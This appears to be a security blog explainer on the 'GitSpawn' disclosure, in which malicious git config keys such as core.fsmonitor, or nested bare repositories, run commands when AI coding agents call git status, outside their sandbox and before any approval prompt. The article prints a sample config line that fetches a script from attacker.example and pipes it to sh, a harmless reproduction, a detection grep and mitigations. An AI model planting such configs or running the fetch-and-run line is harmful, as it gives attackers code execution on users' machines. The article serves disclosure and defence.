GitSpawn, explained — the git-config trick that runs code before your AI agent shows a single prompt
The approval prompt was never the trust boundary — the repository was. GitSpawn hides a command inside a repo's git config so that the agent's first, most innocent move, running git status to see what it's looking at, executes attacker code outside its sandbox and before you've read a thing. The git trick has been public since 2022. The only thing 2026 added is an agent willing to run git for you the instant a folder appears.
The 30-second version
On September 1, 2026, Manifold Security disclosed GitSpawn: a repository can run code on your machine the moment an AI coding agent looks at it, with no prompt shown and no approval clicked. The agent’s own caution is bypassed because the code does not run through the agent at all — it runs through git.
The mechanism is a git configuration key, most cleanly core.fsmonitor, whose value is a command git runs during ordinary operations. Agents run git status and git diff at startup to understand the repository they’ve been pointed at. That single, innocent call is the trigger.
Two things make this worth a careful read rather than another “agents are dangerous” headline:
- The git trick is not new. It was published in March 2022. Nothing about it is AI-specific.
- What’s new is that the human step was deleted. In 2022 you had to walk into a poisoned directory and run git yourself. In 2026 the agent does it for you, at startup, outside its sandbox, before you’ve read one line.
Every git behavior described below was reproduced locally on git 2.50.1 (Apple Git-155). The agent patch matrix is from the disclosures, cited inline.
What actually executes
core.fsmonitor exists for speed. Instead of scanning every file to see what changed, git asks a helper program, and it runs that program during an index refresh. The value of the key is the program, and git runs it through a shell.
So a repository whose .git/config contains this —
[core]
fsmonitor = "curl -s https://attacker.example/x | sh; false"
— runs that pipeline the first time any index-refreshing command touches the repo. And the list of commands that refresh the index is exactly the list an agent reaches for first: git status, git diff, git add, git commit, git checkout.
Reproduced on git 2.50.1, with a harmless marker command standing in for the payload:
$ git config core.fsmonitor "touch /tmp/EXECUTED; false"
$ ls /tmp/EXECUTED # before
ls: /tmp/EXECUTED: No such file or directory
$ git status >/dev/null # the agent's first innocent move
$ ls /tmp/EXECUTED # after
/tmp/EXECUTED # ← the command ran. no prompt, no clone, no edit.
No file was edited. Nothing was approved. Looking at the repository was the exploit.
What GitSpawn adds: the human is gone
The reason this primitive sat mostly quiet from 2022 to 2026 is that it needed a victim to do something — clone a specific repo, then cd into a specific subdirectory and run git by hand. A careful developer rarely does exactly that in exactly the wrong place.
An agent does it every time. Point Claude Code, Codex, or Cursor at a folder and the first thing it does is orient itself: what is this, what’s changed, what branch are we on. That means git status and git diff, run automatically, before it has shown you anything to approve. Manifold’s phrasing is precise — the command executes “with the full privileges of the logged-in user, outside the sandbox and completely invisible to any permission system.”
This is the same shape as GhostApproval, the symlink disclosure from July: there, the human was still in the loop but the loop was showing them the wrong file. GitSpawn is a step worse. There is no loop to fool, because the fire happens before the first prompt is drawn.
”I cloned it, so I’m safe” is only half true
The most-repeated mitigation in the secondary coverage is: if you received a repository as files — a .zip, a shared drive — rather than by cloning it, inspect .git/config first. That advice is half-right, and the missing half is dangerous.
The half that’s right: a plain git clone does not copy the source repository’s local config. Reproduced on git 2.50.1:
$ git clone ./delivered-as-files ./via-clone
$ git -C ./via-clone config core.fsmonitor
# (nothing — the malicious value did not travel)
$ git -C ./via-clone status # clean. no execution.
So the simple .git/config variant genuinely dies on a clone.
The half that’s missing: the 2022 advisory also described a buried bare repository — a second git repo committed as ordinary tracked files inside the tree, say vendor/helper.git/. Those files are content, so they ride through a clone intact, and git auto-discovers the bare repo when a command runs inside that directory. This is not theoretical: it was re-reported in May 2026 as CVE-2026-45033 against GitHub Copilot CLI — “a bare git repository nested inside a seemingly normal project directory” — and that advisory notes the abuse isn’t limited to fsmonitor: core.hookspath, diff.external, merge.tool, and a dozen-plus other keys all name external commands.
So “I cloned it” defuses one variant and not the other. The honest rule is narrower: cloning removes the local-config delivery path, but any repository whose tracked contents you have not read can still carry an executable git config in a nested repo.
Why the approval prompt doesn’t see it
It helps to be exact about what an agent’s approval prompt is for. It gates the actions the agent proposes: run this bash command, write this file, call this tool. GitSpawn is not an action the agent proposes. It is a side effect of the agent running a normal, allowlisted git status, and the thing that executes the payload is git, following its own configuration, exactly as documented.
There is no decision point to intercept. By the time an agent could show you a prompt, the context-gathering git call it made to build that context has already run. This is why patching individual agents matters but doesn’t close the class: the trust boundary is the repository, and it is crossed before the first prompt.
The patch matrix
From Manifold’s disclosure and the two related CVE advisories. Status is as of each source’s publication; versions move fast, so treat this as a pointer to check your own, not a live readout.
| Agent | Vulnerable at | Status | Reference |
|---|---|---|---|
Claude Code (core.fsmonitor) | 2.1.193 | Patched in 2.1.196 | Manifold |
Claude Code (ultrareview, different key) | 2.1.252 | Reported unpatched at disclosure | Manifold |
| OpenAI Codex | — | Patched | Manifold |
| Cursor | — | Patched | Manifold |
| Goose | 1.41.0 | Patched in 1.44.0 · CVE-2026-72718 | Manifold |
| Grok Build | 1.0.13 | Reported unpatched | Manifold |
| Hermes | 0.21.0 | Reported unpatched · CVE-2026-71963 | Manifold |
| Qwen Code | 0.22.3 | Reported unpatched | Manifold |
| GitHub Copilot CLI (nested bare repo) | < 1.0.42 | Fixed in 1.0.43 · CVE-2026-45033 | GitHub advisory |
Manifold says reports began June 26, 2026, and that four findings were still unpatched when it published on September 1 — with five earlier reports marked duplicates, meaning the same holes were being found from more than one direction.
The honest read on Claude Code
Two things are true at once, and both belong in the same paragraph.
Anthropic’s fsmonitor fix was fast: vulnerable at 2.1.193, patched three builds later at 2.1.196. That is the response you want to a repository-borne execution bug.
But the same writeup reports a second Claude Code path, through the ultrareview command, that abuses a different git configuration key and was listed as unpatched at 2.1.252 as of September 1. That is the pattern to sit with: closing core.fsmonitor closes one key, and the underlying class has a dozen more. This piece verified the git mechanism, not any agent’s current patch state — if you run Claude Code, the useful action is to check your installed version and the advisory, not to trust a number in a table.
What to do
- Don’t open untrusted repositories-as-files in an agent. A
.zipfrom a stranger, an “attached project” in a support ticket, a shared drive — these are the exact delivery vectors. If you must look, look with a plain editor first, not an agent that runs git on sight. - Before an agent touches it, inspect the config and look for nested repos.
git config --local --list | grep -iE 'fsmonitor|hookspath|sshcommand|pager|external|\.tool|\.cmd'surfaces the dangerous keys;find . -type d -name '*.git'surfaces buried bare repos. Both take a second. - Know which knob actually protects you — and which doesn’t. Setting
core.fsmonitor falsein your global config does not help: a repository’s local value overrides your global, and execution still fires (reproduced on 2.50.1). The knob that holds is a command-line override, which beats local config:git -c core.fsmonitor=false statusran clean against the same malicious repo. That is the fix vendors should ship — run context-gathering git with the dangerous keys forced off — and it’s the flag to wrap your own git in if you script around untrusted trees. - Update the affected agent. For the patched ones the fix is real; for the unpatched ones, the two rules above are your cover until it lands.
The real lesson
The recurring headline — “AI coding agent runs malicious code” — keeps pointing at the agent, and the agent keeps being the least interesting part of the story. The code that runs is git’s, doing precisely what its documentation says. The repository was untrusted the whole time. What changed in 2026 is only the tempo: a class of attack that needed a human to make a mistake now needs a human to open a folder, because the agent supplies the mistake automatically, at startup, on your behalf.
Treat the repository as the trust boundary, not the prompt. The prompt comes too late.
Companion reading
- GhostApproval, explained — the July symlink disclosure this rhymes with: the human in the loop, shown the wrong file. GitSpawn removes the loop entirely.
- What AI coding agents actually write to disk — the broader question of what an agent touches before you’ve told it to.
- The CLAUDE.md attack surface — the other repository-borne channel that runs before you’re paying attention.
- When AI coding agents take destructive actions — the failure mode this feeds into once code is executing.
- Best AI coding agents, current verdict — where these agents stand once security is one of the axes.
Sources
- Manifold Security — GitSpawn: A Single Flaw Lets Untrusted Repos Run Code in Claude Code, Codex, Cursor, and Grok (September 1, 2026). Primary disclosure, mechanism, and patch matrix.
- justinsteven — git buried bare repos and fsmonitor various abuses (March 17, 2022, OVE-20210718-0001). The original public write-up of the git primitive.
- GitHub — Copilot CLI advisory GHSA-9ccr-r5hg-74gf / CVE-2026-45033 (disclosed May 6, 2026, fixed 1.0.43). The nested-bare-repo variant that survives a clone.
- The Hacker News — Malicious .git Configs Can Make Claude, Codex, Cursor, and Others Run Code (September 2026). Corroborating coverage.
- heise — AI agents automatically execute git malware when starting (September 2026). Corroborating coverage.
- Cobalt — Red Team Technique: Exploiting Git FSMonitor for Initial Access. Independent treatment of the fsmonitor primitive.
FAQ
What is the GitSpawn vulnerability? A class of vulnerabilities Manifold Security disclosed on September 1, 2026, affecting AI coding agents including Claude Code, OpenAI Codex, Cursor, Grok Build, Goose, Hermes and Qwen Code. A malicious repository puts a shell command in a git config key such as core.fsmonitor; when the agent runs a routine git status or git diff at startup, git executes that command with your full privileges, outside the sandbox and before any approval prompt. The underlying git behavior was documented in 2022 — GitSpawn is the observation that agents now trigger it automatically.
How does core.fsmonitor let a repository run code? It’s a performance setting whose value is a program git runs to find changed files instead of scanning the tree. Any index-refreshing operation — git status, git diff, git add, git commit, git checkout — runs that program through a shell. If a repo’s .git/config sets it to an attacker’s command, that command runs on the first such operation. On git 2.50.1 a plain git status executed the command with no prompt.
Does cloning a repository instead of copying its files protect me? Partly, and relying on it is dangerous. A plain git clone doesn’t copy the source’s local config, so the simple .git/config variant doesn’t survive a clone (confirmed on git 2.50.1). But the buried-bare-repo variant — documented in 2022, re-reported as CVE-2026-45033 against GitHub Copilot CLI — hides a bare repo as tracked files (e.g. vendor/malicious.git) that travel through a clone and are auto-discovered by git. “I cloned it, so I’m safe” is false for that variant.
Why doesn’t the agent’s approval prompt stop GitSpawn? Because the code runs before the prompt and through git, not through the agent. Approval prompts gate actions the agent decides to take. GitSpawn fires when the agent runs an ordinary git command to gather context, and git executes the configured command — there’s no agent decision to approve, and the call usually happens at startup before the first prompt appears.
Is Claude Code affected, and is it patched? Manifold reports Claude Code was vulnerable via core.fsmonitor at 2.1.193 and patched that path in 2.1.196. The same writeup reports a second, distinct finding via the ultrareview command abusing a different git config key, listed as unpatched at 2.1.252 as of September 1. Patch state moves quickly — check your installed version against the advisory. This article verified the git behavior, not any agent’s current patch status.
What actually protects me? The durable fix is on the vendor: run context-gathering git with the dangerous keys off. git -c core.fsmonitor=false status blocks execution even against a malicious local value, because a command-line -c overrides local config (confirmed on 2.50.1). Setting core.fsmonitor false in your global config does not help — a repo’s local value overrides your global, so it still fires (also confirmed). As a developer: don’t open untrusted repos-as-files in an agent, and inspect the local config and nested .git directories before you do.
Was this helpful?
Related reading
- Claude Code's weekly limits rise 25% and fall 17% on the same day — both numbers are real
- Slack Code puts five coding agents in a shared channel — the part worth arguing about is where approval happens
- Shopify's CEO threatened to ban Claude Code over AGENTS.md — the bridge works, and that's not the point
Reviews independently produced · Editorial policy
Read more reviews →